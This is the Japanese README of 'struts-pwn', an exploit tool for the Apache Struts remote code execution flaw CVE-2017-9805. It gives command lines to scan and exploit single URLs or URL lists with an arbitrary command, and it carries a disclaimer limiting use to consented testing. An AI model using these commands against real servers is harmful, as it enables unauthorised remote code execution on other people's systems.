struts-pwn - CVE-2017-9805 エクスプロイト

Apache Struts CVE-2017-9805 のエクスプロイト

使用方法

単一のURLに対して脆弱性が存在するかを確認します。

python struts-pwn.py --url 'http://example.com/struts2-rest-showcase/orders/3'

URLのリストに対して脆弱性が存在するかを確認します。

python struts-pwn.py --list 'urls.txt'

単一のURLをエクスプロイトします。

python struts-pwn.py --exploit --url 'http://example.com/struts2-rest-showcase/orders/3' -c 'touch /tmp/struts-pwn'

URLのリストをエクスプロイトします。

python struts-pwn.py --exploit --list 'urls.txt' -c 'touch /tmp/struts-pwn'

デモ

必要条件

• Python2 または Python3
• requests

法的免責事項

このプロジェクトは教育および倫理的なテスト目的のみで作成されています。事前の相互同意なしにターゲットを攻撃するためにstruts-pwnを使用することは違法です。適用されるすべての地域、州、連邦法を遵守することはエンドユーザーの責任です。開発者は一切の責任を負わず、このプログラムによって引き起こされた誤用や損害についても責任を負いません。

ライセンス

このプロジェクトはMITライセンスの下でライセンスされています。

作成者

Mazin Ahmed

• ウェブサイト: https://mazinahmed.net
• メール: mazin AT mazinahmed DOT net
• Twitter: https://twitter.com/mazen160
• LinkedIn: http://linkedin.com/in/infosecmazinahmed